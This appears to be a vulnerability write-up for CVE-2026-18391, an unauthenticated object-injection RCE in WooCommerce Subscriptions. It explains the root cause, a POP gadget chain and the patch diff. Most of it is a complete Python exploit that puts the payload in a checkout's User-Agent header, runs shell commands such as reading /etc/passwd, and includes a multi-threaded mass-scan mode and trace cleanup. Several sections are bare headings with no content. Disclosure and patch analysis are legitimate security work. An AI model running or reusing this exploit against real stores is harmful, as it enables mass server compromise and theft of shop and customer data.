#Summary

CVE-2026-18391 is a critical unauthenticated remote code execution vulnerability in WooCommerce Subscriptions before version 9.1.0. The plugin's data copier applies redundant deserialization to order fields when High-Performance Order Storage (HPOS) is enabled, allowing an attacker to inject malicious PHP objects during an anonymous subscription checkout. The injected object is instantiated and executed synchronously via PHP's strval() coercion during the order save process, enabling arbitrary command execution as the web user. CVSS score: 9.8 CRITICAL.

#Affected versions

Configuration requirements (all default on affected installations):

#Root cause analysis

#The vulnerable code path

The bug lives in WC_Subscriptions_Data_Copier::copy_data(), which copies every field from a parent order onto a subscription. The copier has two source branches:

public function copy_data() {
    if ( ! wcs_is_custom_order_tables_usage_enabled() ) {
        // Legacy: data comes from wp_postmeta as raw strings
        $data_array = $GLOBALS['wpdb']->get_results( $this->get_deprecated_meta_query(), ARRAY_A );
        $data = wp_list_pluck( $data_array, 'meta_value', 'meta_key' );
    } else {
        // HPOS: data comes from the WooCommerce CRUD layer
        $data = $this->get_meta_data();
        $data += $this->get_order_data();
        $data += $this->get_operational_data();
        $data += $this->get_address_data();
    }
    
    // Apply decode to every value
    foreach ( $data as $key => $value ) {
        $this->set_data( $key, maybe_unserialize( $value ) );
    }
    
    $this->to_object->save();
}

#The asymmetry

The critical difference lies in what state the data arrives in:

Legacy post-meta branch (safe): Values come straight from wp_postmeta via raw $wpdb->get_results() as undecoded database strings. The maybe_unserialize() call is the first and only decode, and it is correct.

HPOS branch (vulnerable): Values come from the WooCommerce CRUD layer via getters like get_order_data(), which return values that have already been normalised and decoded. Applying maybe_unserialize() a second time turns a string that looks like serialized data into a live PHP object.

#Why the string survives intact

WordPress's maybe_serialize() deliberately applies double-serialization for backward compatibility:

function maybe_serialize( $data ) {
    if ( is_array( $data ) || is_object( $data ) ) {
        return serialize( $data );
    }
    
    // Double serialization for backward compatibility
    if ( is_serialized( $data, false ) ) {
        return serialize( $data );
    }
    
    return $data;
}

This means a plain string that happens to be valid serialized data gets wrapped in a second layer on write. A single decode on read peels that layer off, yielding the original string. But the copier adds a second decode, which does finally deserialize the attacker's payload.

#Attack surface

The _customer_user_agent field is the primary attack vector. It maps to the wp_wc_orders.user_agent column (a text field with no validation) and is populated directly from the HTTP User-Agent header via wc_get_user_agent():

'_customer_user_agent' => $this->from_object->get_customer_user_agent( 'edit' )

This field is:

Billing address fields (_billing_first_name, _billing_address_1, etc.) provide secondary vectors, also via checkout form input, and are sanitized the same way.

#Payload constraints

Any payload traveling through wc_clean() (which calls sanitize_text_field()) must obey these rules:

The payload builder handles this by using PHP's S: escaped-string format for all NUL-separated property names. This keeps the entire chain in printable ASCII:

S:23:"\00WCS_Modal\00content_type";

Every byte including backslashes is hex-escaped, so the payload survives sanitization byte-identical.

#Proof of concept chain

The exploit uses a four-link POP (Property-Oriented Programming) chain, all built from classes already loaded on every vulnerable store:

strval( $injected )                                            [triggered by HPOS save]
  |
  +-> Sabberworm\CSS\CSSList\AtRuleBlockList::__toString()
      |   render() calls ->render($format) on every member of $aContents
      |
      +-> WP_Block_Type::render( $format )
          |   calls call_user_func( $this->render_callback, ... )
          |
          +-> WCS_Modal::print_content()
              |   calls call_user_func_array( $this->content['callback'],
              |                               $this->content['parameters'] )
              |
              +-> shell_exec( $command )    [final sink]

Key points:

#Patch diff

The fix removes the unconditional decode by tracking which branch the data came from:

 public function copy_data() {
+    // CPT values come directly from the database and need decoding.
+    // HPOS CRUD values are already normalized.
+    $data_is_raw = ! wcs_is_custom_order_tables_usage_enabled();
 
-    if ( ! wcs_is_custom_order_tables_usage_enabled() ) {
+    if ( $data_is_raw ) {
         $data_array = $GLOBALS['wpdb']->get_results( ... );
         $data = wp_list_pluck( ... );
     } else {

And at the sink:

 foreach ( $data as $key => $value ) {
-    $this->set_data( $key, maybe_unserialize( $value ) );
+    $this->set_data( $key, $data_is_raw ? maybe_unserialize( $value ) : $value );
 }

On HPOS, the value is now copied through untouched. A serialized-looking string stays a string all the way to the destination order, and unserialize() never processes attacker bytes. The legacy branch keeps its decode because those values genuinely are raw wp_postmeta strings.

#Proof of concept

#exploit.py - WooCommerce Subscriptions Unauthenticated RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-18391 - WooCommerce Subscriptions PHP Object Injection to unauthenticated RCE
Affected: WooCommerce Subscriptions < 9.1.0 (fixed in 9.1.0, 8.8.2, 7.9.1) on stores
          with High-Performance Order Storage (HPOS) enabled
Type: RCE (PHP Object Injection / unsafe deserialization, CWE-502)

WC_Subscriptions_Data_Copier::copy_data() applies maybe_unserialize() to every value it
copies from the parent order onto the new subscription. On HPOS stores those values come
from the WooCommerce CRUD layer and have already been decoded once, so the extra call
deserializes attacker-controlled text. The order's user_agent column is a verbatim copy
of the request's User-Agent header, so one anonymous checkout of any subscription product
reaches unserialize() with fully controlled bytes.

The POP chain used here is built from classes the target already loads:

  Sabberworm\\CSS\\CSSList\\AtRuleBlockList::__toString()   (fired by the HPOS save path,
      |                                                     which casts the value to string)
      +-> renderListContents() calls ->render($format) on every member of $aContents
            |
            +-> WP_Block_Type::render() -> call_user_func($this->render_callback, ...)
                  |
                  +-> WCS_Modal::print_content() with content_type 'callback'
                        |
                        +-> call_user_func_array($this->content['callback'],
                                                 $this->content['parameters'])   <-- sink

Command output is written to a file under the uploads directory and then read back over
HTTP, so success is proven entirely from network-observable evidence.

Usage:
  python exploit.py --host <target>
  python exploit.py --host 192.168.1.10 --port 8080 --command "uname -a"
  python exploit.py --host https://shop.example.com --command "cat /etc/passwd"
  python exploit.py --host https://shop.example.com/store --product 14
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import base64
import random
import re
import secrets
import string
import sys
import time
from urllib.parse import urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    sys.stderr.write("This exploit requires the 'requests' library: pip install requests\n")
    sys.exit(1)

CVE_ID    = "CVE-2026-18391"
VULN_TYPE = "RCE"

# Class that provides the __toString() entry point. WooCommerce ships Sabberworm's CSS
# parser under this prefixed namespace in lib/packages/.
CSS_LIST = "Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\CSSList\\AtRuleBlockList"
# Second copy of the same library, shipped with the email editor package. Used as a
# fallback on builds where lib/packages/ is absent.
CSS_LIST_ALT = ("Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS"
                "\\CSSList\\AtRuleBlockList")

# Entry points tried in order, with the label shown while each is attempted.
GADGET_ENTRIES = (("lib/packages CSS parser", CSS_LIST),
                  ("email-editor CSS parser", CSS_LIST_ALT))

DEFAULT_MARKER_DIR = "wp-content/uploads"
TIMEOUT = 30

BROWSER_UA = ("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 "
              "(KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36")


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------------------
# PHP serialization helpers
#
# The payload travels in an HTTP header and is then run through wc_clean(), i.e.
# sanitize_text_field(). That forbids NUL bytes, '<', runs of whitespace and
# percent-encoded octets. Private and protected property names normally need NUL
# separators, so they are emitted with PHP's S: escaped-string format instead, which
# encodes any byte as a \xx hex escape and keeps the whole payload printable ASCII.
# ---------------------------------------------------------------------------

def _s(value: str) -> str:
    """Plain serialized string. Byte length, not character length."""
    return 's:%d:"%s";' % (len(value.encode("utf-8")), value)


def _s_esc(value: str) -> str:
    """Serialized string in PHP's S: escaped form.

    Inside an S: string a backslash introduces a two-digit hex escape, so literal
    backslashes and quotes have to be escaped as well - a namespaced property name
    would otherwise eat the bytes that follow each separator.
    """
    out = []
    for ch in value:
        code = ord(ch)
        if code < 0x20 or code > 0x7e or ch in '\\"':
            out.append("\\%02x" % code)
        else:
            out.append(ch)
    return 'S:%d:"%s";' % (len(value), "".join(out))


def _a(pairs) -> str:
    """Serialized array from a list of (key, already-serialized-value) pairs."""
    body = ""
    for key, value in pairs:
        body += ('i:%d;' % key) if isinstance(key, int) else _s(key)
        body += value
    return 'a:%d:{%s}' % (len(pairs), body)


def _o(cls: str, props) -> str:
    """Serialized object from a list of (serialized-name, serialized-value) pairs."""
    body = "".join(name + value for name, value in props)
    return 'O:%d:"%s":%d:{%s}' % (len(cls), cls, len(props), body)


def build_payload(func: str, params, css_list: str = CSS_LIST) -> str:
    """Serialized POP chain ending in call_user_func_array(func, params)."""
    modal = _o("WCS_Modal", [
        (_s_esc("\0WCS_Modal\0content_type"), _s("callback")),
        (_s_esc("\0WCS_Modal\0content"), _a([
            ("callback",   _s(func)),
            ("parameters", _a([(i, _s(p)) for i, p in enumerate(params)])),
        ])),
    ])
    block_type = _o("WP_Block_Type", [
        (_s("render_callback"), _a([(0, modal), (1, _s("print_content"))])),
    ])
    return _o(css_list, [
        (_s_esc("\0*\0aContents"), _a([(0, block_type)])),
        (_s_esc("\0*\0aComments"), "a:0:{}"),
        (_s_esc("\0*\0iLineNo"),   "i:0;"),
        (_s_esc("\0%s\0sType" % css_list), _s("media")),
        (_s_esc("\0%s\0sArgs" % css_list), _s("")),
    ])


def payload_is_transportable(payload: str):
    """Check the payload against sanitize_text_field()'s rules.

    Returns None when the payload will arrive byte-identical, otherwise a reason string.
    """
    if "<" in payload:
        return "contains '<', which triggers wp_strip_all_tags()"
    if re.search(r"[\r\n\t]", payload):
        return "contains a newline or tab, which is collapsed to a space"
    if "  " in payload:
        return "contains a run of spaces, which is collapsed to one"
    if re.search(r"%[0-9A-Fa-f]{2}", payload):
        return "contains a percent-encoded octet, which is stripped"
    if payload != payload.strip():
        return "has leading or trailing whitespace, which is trimmed"
    try:
        payload.encode("ascii")
    except UnicodeEncodeError:
        return "contains non-ASCII bytes"
    return None


def wrap_command(command: str, marker_path: str, use_b64: bool) -> str:
    """Build the shell line that runs the command and captures its output.

    Base64 wrapping is the default because it lifts every payload-encoding constraint
    off --command: quotes, angle brackets, tabs and percent signs all survive.
    """
    if use_b64:
        blob = base64.b64encode(command.encode("utf-8")).decode("ascii")
        inner = "echo %s|base64 -d|sh" % blob
    else:
        inner = command
    return "%s > %s 2>&1" % (inner, marker_path)


# ---------------------------------------------------------------------------
# Target plumbing
# ---------------------------------------------------------------------------

def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    scheme = "https" if use_tls else "http"
    default_port = 443 if use_tls else 80
    netloc = host if port == default_port else "%s:%d" % (host, port)
    return "%s://%s%s" % (scheme, netloc, path.rstrip("/"))


def _session() -> "requests.Session":
    sess = requests.Session()
    sess.verify = False
    sess.headers.update({"User-Agent": BROWSER_UA,
                         "Accept": "text/html,application/xhtml+xml,*/*"})
    return sess


def _checkout_html(sess, base: str):
    """Load the checkout page for the current cart. Returns (url, html) or (None, None)."""
    resp = sess.get(base + "/checkout/", timeout=TIMEOUT, allow_redirects=True)
    if "woocommerce-process-checkout-nonce" in resp.text:
        return resp.url, resp.text
    # Some stores rename or relocate the checkout page. Follow the cart page's own link.
    cart = sess.get(base + "/cart/", timeout=TIMEOUT, allow_redirects=True)
    for href in re.findall(r'href="([^"]*checkout[^"]*)"', cart.text):
        if "add-to-cart" in href or "#" in href:
            continue
        target = href if href.startswith("http") else base + "/" + href.lstrip("/")
        try:
            resp = sess.get(target, timeout=TIMEOUT, allow_redirects=True)
        except requests.RequestException:
            continue
        if "woocommerce-process-checkout-nonce" in resp.text:
            return resp.url, resp.text
    return None, None


_SUBSCRIPTION_MARKER = re.compile(r"recurring[ _-]?total|wcs-|subscription_details", re.I)


def _load_cart(sess, base: str, product_id):
    """Put a subscription product in the cart and open checkout.

    Returns (product_id, checkout_url, checkout_html). Raises RuntimeError on failure.
    """
    if product_id:
        sess.get(base + "/?add-to-cart=%s" % product_id, timeout=TIMEOUT)
        url, html = _checkout_html(sess, base)
        if not html:
            raise RuntimeError("checkout page not reachable with product %s in the cart"
                               % product_id)
        return product_id, url, html

    candidates = []
    reached = False
    for listing in ("/?post_type=product", "/shop/", "/"):
        try:
            page = sess.get(base + listing, timeout=TIMEOUT).text
        except requests.RequestException as exc:
            transport_error = exc
            continue
        reached = True
        for found in (re.findall(r"add-to-cart=(\d+)", page)
                      + re.findall(r'data-product_id="(\d+)"', page)):
            if found not in candidates:
                candidates.append(found)
        if candidates:
            break
    if not reached:
        raise transport_error
    if not candidates:
        raise RuntimeError("no purchasable products found on the storefront")

    first_error = None
    for pid in candidates[:12]:
        probe = _session()
        probe.get(base + "/?add-to-cart=%s" % pid, timeout=TIMEOUT)
        url, html = _checkout_html(probe, base)
        if not html:
            first_error = "checkout page not reachable"
            continue
        if _SUBSCRIPTION_MARKER.search(html):
            sess.cookies.update(probe.cookies)
            return pid, url, html
        first_error = "no subscription product in the catalogue"
    raise RuntimeError(first_error or "no subscription product found")


def _form_fields(html: str, nonce: str, referer: str) -> dict:
    """Build the checkout POST body from what the rendered form actually offers."""
    def selected(field, fallback):
        pattern = (r'id="%s".*?</select>' % field)
        block = re.search(pattern, html, re.S)
        if block:
            option = re.search(r'<option value="([^"]+)"\s+selected', block.group(0))
            if option:
                return option.group(1)
            option = re.search(r'<option value="([A-Z]{2,3})"', block.group(0))
            if option:
                return option.group(1)
        return fallback

    gateway = re.search(r'name="payment_method"\s+value="([^"]+)"', html)
    suffix = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
    fields = {
        "billing_first_name": "Jordan",
        "billing_last_name": "Reyes",
        "billing_company": "",
        "billing_country": selected("billing_country", "US"),
        "billing_address_1": "1 Market St",
        "billing_address_2": "",
        "billing_city": "San Jose",
        "billing_state": selected("billing_state", "CA"),
        "billing_postcode": "95112",
        "billing_phone": "4085550100",
        "billing_email": "%s@example.com" % suffix,
        "order_comments": "",
        "payment_method": gateway.group(1) if gateway else "cod",
        "woocommerce_checkout_place_order": "Place order",
        "terms": "on",
        "terms-field": "1",
        "woocommerce-process-checkout-nonce": nonce,
        "_wp_http_referer": referer,
    }
    if 'id="account_password"' in html:
        fields["account_password"] = "Aa1!%s" % suffix
    if 'id="account_username"' in html:
        fields["account_username"] = "u%s" % suffix
    if 'id="createaccount"' in html:
        fields["createaccount"] = "1"
    if 'id="shipping_country"' in html:
        fields["ship_to_different_address"] = ""
    return fields


def _place_order(sess, base: str, checkout_html: str, checkout_url: str, ua: str):
    """POST the checkout with the payload in the User-Agent. Returns the response."""
    nonce = re.search(r'name="woocommerce-process-checkout-nonce"\s+value="([^"]+)"',
                      checkout_html)
    if not nonce:
        raise RuntimeError("checkout nonce not present in the checkout form")
    referer = urlparse(checkout_url).path or "/checkout/"
    fields = _form_fields(checkout_html, nonce.group(1), referer)
    return sess.post(base + "/?wc-ajax=checkout",
                     data=fields,
                     headers={"User-Agent": ua,
                              "Content-Type": "application/x-www-form-urlencoded",
                              "Referer": checkout_url},
                     timeout=TIMEOUT,
                     allow_redirects=False)


def _fetch_marker(sess, base: str, marker_path: str):
    """Read the command output back over HTTP. Returns the body, or None."""
    for attempt in range(3):
        try:
            resp = sess.get("%s/%s" % (base, marker_path), timeout=TIMEOUT)
        except requests.RequestException:
            resp = None
        if resp is not None and resp.status_code == 200 and "<html" not in resp.text[:200].lower():
            return resp.text
        if attempt < 2:
            time.sleep(1)
    return None


def _run_chain(sess, base: str, func: str, params, product_id, css_list: str):
    """One anonymous checkout carrying the POP chain. Returns the HTTP response."""
    payload = build_payload(func, params, css_list)
    problem = payload_is_transportable(payload)
    if problem:
        raise RuntimeError("payload would not survive sanitize_text_field(): %s" % problem)
    pid, url, html = _load_cart(sess, base, product_id)
    del pid
    return _place_order(sess, base, html, url, payload)


def _injection_oracle(base: str, product_id):
    """Differential probe that proves deserialization without needing a gadget.

    A serialized object of a class that does not exist becomes __PHP_Incomplete_Class;
    the HPOS save path then casts it to string and the resulting PHP Error is uncaught.
    A byte-for-byte length match that is not valid serialized syntax must check out
    normally, which rules out any length or content sensitivity.
    """
    name = "".join(random.choice(string.ascii_letters) for _ in range(20))
    serialized = 'O:20:"%s":0:{}' % name
    control = 'Ox20x%sx0x{}' % name
    results = {}
    for label, probe in (("serialized", serialized), ("control", control)):
        probe_sess = _session()
        pid, url, html = _load_cart(probe_sess, base, product_id)
        del pid
        resp = _place_order(probe_sess, base, html, url, probe)
        results[label] = resp.status_code
    return serialized, control, results


# ---------------------------------------------------------------------------
# Scan mode
# ---------------------------------------------------------------------------

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                 command: str = "id", product_id=None, marker_dir: str = DEFAULT_MARKER_DIR,
                 use_b64: bool = True, cleanup: bool = True) -> tuple:
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints."""
    base = _base_url(host, port, use_tls, path)
    token = secrets.token_hex(8)
    marker_path = "%s/%s.txt" % (marker_dir.strip("/"), token)
    try:
        sess = _session()
        for _, css_list in GADGET_ENTRIES:
            _run_chain(sess, base, "shell_exec",
                       [wrap_command(command, marker_path, use_b64)],
                       product_id, css_list)
            output = _fetch_marker(sess, base, marker_path)
            if output:
                if cleanup:
                    try:
                        _run_chain(_session(), base, "unlink", [marker_path],
                                   product_id, css_list)
                    except Exception:
                        pass
                first = output.strip().splitlines()[0] if output.strip() else "(empty)"
                return True, "command output: %s" % first[:120]
        # No command output. Fall back to proving the deserialization itself.
        _, _, results = _injection_oracle(base, product_id)
        if results.get("serialized") >= 500 > results.get("control", 500):
            return False, ("object injection confirmed (HTTP %d vs control HTTP %d) but "
                           "command output not retrievable"
                           % (results["serialized"], results["control"]))
        return False, "no injection evidence - target may be patched or not using HPOS"
    except requests.RequestException as exc:
        return False, "unreachable (%s)" % exc.__class__.__name__
    except Exception as exc:
        return False, "%s: %s" % (exc.__class__.__name__, exc)


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as handle:
        targets = [_parse_target(line, default_port) for line in handle]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(target):
        host, port, use_tls, path = target
        label = "%s://%s:%d%s" % ("https" if use_tls else "http", host, port,
                                  "" if path == "/" else path)
        ok, evidence = _try_exploit(host, port, use_tls, path=path, **kwargs)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as pool:
        futures = {pool.submit(probe, t): t for t in targets}
        for future in concurrent.futures.as_completed(futures):
            label, ok, evidence = future.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Not exploited", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not exploited  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------------------
# Single-target exploit
# ---------------------------------------------------------------------------

def exploit(host: str, port: int, use_tls: bool, command: str, path: str = "/",
            product_id=None, marker_dir: str = DEFAULT_MARKER_DIR,
            use_b64: bool = True, cleanup: bool = True) -> None:
    header(host, port)
    base = _base_url(host, port, use_tls, path)
    token = secrets.token_hex(8)
    marker_path = "%s/%s.txt" % (marker_dir.strip("/"), token)
    sess = _session()

    step(1, "Locating a purchasable subscription product...")
    try:
        pid, checkout_url, checkout_page = _load_cart(sess, base, product_id)
    except requests.RequestException as exc:
        done(False, "target unreachable (%s)" % exc.__class__.__name__)
        return
    except RuntimeError as exc:
        done(False, "no usable subscription checkout: %s" % exc)
        return
    print("         product id %s, checkout at %s" % (pid, checkout_url))

    shell_line = wrap_command(command, marker_path, use_b64)
    for label, css_list in GADGET_ENTRIES:
        step(2, "Sending the object injection payload in the User-Agent header"
                " (gadget entry: %s)" % label)
        payload = build_payload("shell_exec", [shell_line], css_list)
        problem = payload_is_transportable(payload)
        if problem:
            done(False, "payload cannot be transported: %s" % problem)
            return
        print("         payload: %d bytes, command wrapped as: %s" % (len(payload), shell_line))
        try:
            resp = _place_order(sess, base, checkout_page, checkout_url, payload)
        except requests.RequestException as exc:
            done(False, "checkout POST failed (%s)" % exc.__class__.__name__)
            return
        except RuntimeError as exc:
            done(False, str(exc))
            return
        print("         checkout responded HTTP %d" % resp.status_code)

        step(3, "Reading command output back over HTTP from %s" % marker_path)
        output = _fetch_marker(sess, base, marker_path)
        if output:
            section("COMMAND OUTPUT", output)
            if cleanup:
                step(4, "Removing the marker file left behind on the target")
                try:
                    _run_chain(_session(), base, "unlink", [marker_path], pid, css_list)
                    gone = _fetch_marker(_session(), base, marker_path) is None
                    print("         marker removed: %s" % ("yes" if gone else "no"))
                except Exception as exc:
                    print("         cleanup failed (%s) - remove %s manually"
                          % (exc.__class__.__name__, marker_path))
            first_line = output.strip().splitlines()[0] if output.strip() else "(no output)"
            done(True, "RCE confirmed - command '%s' executed on the target as the web "
                       "user: %s" % (command, first_line))
            return
        print("         no output at that path yet")
        # Refresh the cart and nonce before the next attempt: a consumed checkout nonce
        # produces a generic error that reads like the exploit failing.
        sess = _session()
        try:
            pid, checkout_url, checkout_page = _load_cart(sess, base, pid)
        except Exception:
            break

    step(4, "No command output. Falling back to the injection oracle to establish"
            " whether the deserialization itself is reachable.")
    try:
        serialized, control, results = _injection_oracle(base, pid)
    except Exception as exc:
        done(False, "no command output and the oracle could not run (%s)"
                    % exc.__class__.__name__)
        return
    section("INJECTION ORACLE",
            "serialized payload  %-42s -> HTTP %d\n"
            "same-length control %-42s -> HTTP %d"
            % (serialized, results["serialized"], control, results["control"]))
    if results["serialized"] >= 500 > results["control"]:
        done(False, "PHP object injection confirmed (serialized payload HTTP %d vs "
                    "control HTTP %d) but no command execution: the gadget classes this "
                    "chain needs are not loaded on this target"
                    % (results["serialized"], results["control"]))
    else:
        done(False, "no exploitation evidence - the store is patched, is not using HPOS, "
                    "or the cart held no subscription product")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. https://shop.example.com/store)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--command", default="id",
                        help="Command to execute on the target (default: id)")
    parser.add_argument("--product", type=int, default=0,
                        help="Subscription product id to buy (default: auto-discover)")
    parser.add_argument("--marker-dir", default=DEFAULT_MARKER_DIR,
                        help="Web-readable directory the output is written to, relative "
                             "to the WordPress root (default: %s)" % DEFAULT_MARKER_DIR)
    parser.add_argument("--no-b64", action="store_true",
                        help="Send --command verbatim instead of base64-wrapping it "
                             "(for targets without a base64 binary)")
    parser.add_argument("--no-cleanup", action="store_true",
                        help="Leave the output file on the target")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    common = {
        "command": args.command,
        "product_id": args.product or None,
        "marker_dir": args.marker_dir,
        "use_b64": not args.no_b64,
        "cleanup": not args.no_cleanup,
    }

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, **common)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path=path, **common)

#Usage

python exploit.py --host http://192.168.1.10 --command "id"

For a store at a custom path with TLS:

python exploit.py --host https://shop.example.com/store --command "whoami"

Batch scan from a file:

python exploit.py --list targets.txt --workers 20

Arguments:

Argument Default Purpose
--host - Target hostname, IP, or full URL. Mutually exclusive with --list.
--list FILE - File with one target per line for batch scanning.
--port 80 Port when target is a bare hostname or IP.
--command id Shell command to execute on the target.
--product auto Subscription product ID to buy; default is auto-discovery.
--marker-dir wp-content/uploads Web-readable directory where output is written and read.
--no-b64 off Send command verbatim instead of base64-wrapping (targets without base64 binary).
--no-cleanup off Leave the output file on the target.
--workers 10 Thread count for --list mode.
--tls / --no-tls auto Force scheme.

#Exploitation notes

#Preconditions

#Attack flow

  1. Attacker adds a subscription product to the cart
  2. Attacker proceeds to anonymous checkout with the payload in the User-Agent header
  3. The checkout runs the vulnerable copier, which deserializes the payload
  4. The POP chain executes during the order save operation (via strval())
  5. Command output is written to a file and retrieved over HTTP
  6. The marker file is removed via a second injection

#Reliability

The exploit is highly reliable when all preconditions are met. Success depends on:

#Impact

Unauthenticated remote code execution as the web server user. An attacker can:

#Footprint

The attack creates a real order and subscription in the database. To minimize traces:

#Limitations

#References